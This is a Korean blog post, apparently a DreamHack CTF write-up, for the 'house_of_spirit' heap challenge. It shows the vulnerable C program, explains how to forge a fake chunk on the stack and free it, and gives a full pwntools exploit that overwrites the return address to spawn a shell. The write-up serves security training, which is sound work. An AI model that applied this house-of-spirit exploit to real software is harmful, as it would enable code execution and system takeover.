CIDY
[System_Hacking] 문제풀이(house_of_spirit) 본문
// gcc -o hos hos.c -fno-stack-protector -no-pie
// 64-bit, partial relro, nx
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char *ptr[10];
void alarm_handler() {
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
void get_shell() {
execve("/bin/sh", NULL, NULL);
}
int main() {
char name[32];
int idx, i, size = 0;
long addr = 0;
initialize();
memset(name, 0, sizeof(name));
printf("name: ");
read(0, name, sizeof(name)-1);
printf("%p: %s\n", name, name);
while(1) {
printf("1. create\n");
printf("2. delete\n");
printf("3. exit\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
if(i > 10) {
return -1;
}
printf("Size: ");
scanf("%d", &size);
ptr[i] = malloc(size);
if(!ptr[i]) {
return -1;
}
printf("Data: ");
read(0, ptr[i], size);
i++;
break;
case 2:
printf("Addr: ");
scanf("%ld", &addr);
free(addr);
break;
case 3:
return 0;
default:
break;
}
}
return 0;
}
create -> 내가 보낸 사이즈만큼 동적할당, 그 사이즈만큼 데이터 적을 수 있음 포인터 묶음이 10개긴 한데 oob생각하면 그 이상도 가능할듯 함.
delete -> 내가 입력한 주소에 있는 청크 해제
exit -> 리턴해버림
그리고 초반에 name에 뭐 입력할 수 있는데 입력값을 name의 주소와 같이 출력해줌 -> 스택 주소 제공
우선 스택 주소를 제공해줬으니 그걸 쓰라는 말이다. name이 괜히 있을 리도 없다. 거기에 tcache리스트를 연결할 수 있으면 좋을 것 같다.
우선 name을 하나의 청크로 인식하고 해제하도록 하기 위해서는 헤더가 있어야 한다.
(원하는 위치에 청크를 할당하기 위해서는 연결 리스트에 원하는 주소(청크의 데이터 위치)를 써 주는 것으로 되지만, 해제가 정상적으로 이루어지기 위해서는 헤더를 비롯해 진짜 청크 구조가 되어야 한다.)
따라서, 다음과 같은 과정으로 풀 수 있을 것 같다.
1. name에 청크의 헤더를 써 준다.
2. name을 해제한다 (해제하는 주소는 데이터가 쓰이는 주소를 적어야 하므로 실제 출력해주는 주소 + 헤더크기(0x10))
3. 헤더에 써 준 사이즈 - 0x10을 할당해준다.(그래야 name을 데려옴) 이 때 데이터는 내가 할당한다고 한 size만큼 쓸 수 있으므로 ret주소를 덮을 수 있다.
from pwn import *
p = remote("host3.dreamhack.games", 8381)
#p = process("./house_of_spirit")
e = ELF("./house_of_spirit")
def Create(size, data):
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b": ", str(size))
p.sendafter(b": ", data)
def Delete(addr):
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b": ", str(addr))
def Exit():
p.sendlineafter(b"> ", b"3")
name = p64(0x0)
name += p64(0x50)
p.sendafter(b": ", name)
p.recvuntil(b"0x")
name_addr = int(p.recvuntil(b":")[:-1], 16)
print(hex(name_addr))
data = b"A" * 0x20
data += b"B" * 0x8
data += p64(e.sym['get_shell'])
Delete(name_addr + 0x10)
Create(0x40, data)
Exit()
p.interactive()

'Hack > DreamHack' 카테고리의 다른 글
[System_Hacking] 문제풀이(Bypass SECCOMP-1) (0) | 2022.08.09 |
---|---|
[System_Hacking] 문제풀이(Tcache Poisoning) (0) | 2022.08.09 |
[System_Hacking] 문제풀이(shell_basic) (0) | 2022.08.08 |
[Reverse_Engineering] 문제풀이(Secure Mail) (0) | 2022.08.01 |
[Web_Hacking] 문제풀이(session) (0) | 2022.07.31 |